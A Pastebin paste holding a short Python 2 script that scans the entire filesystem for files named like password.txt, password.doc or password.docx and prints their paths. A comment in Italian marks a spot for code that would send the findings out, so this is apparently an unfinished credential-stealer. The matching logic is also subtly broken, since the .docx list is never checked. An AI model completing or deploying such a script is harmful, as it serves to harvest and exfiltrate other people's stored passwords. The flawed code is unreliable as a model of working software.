Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- def cerca(base):
- for dir_, subdirs, files in os.walk (base):
- for file in files:
- yield os.path.join (dir_, file)
- def password():
- password = ["password.txt", "PASSWORD.txt", "Password.txt",
- "password.doc", "PASSWORD.doc", "Password.doc",]
- password2 = ["password.docx", "PASSWORD.docx", "Password.docx"]
- for file in cerca("/"):
- if file[-12:] in password:
- print file
- #codice che manda
- elif file[-13:] in password:
- print file
- password()
Advertisement
Add Comment
Please, Sign In to add comment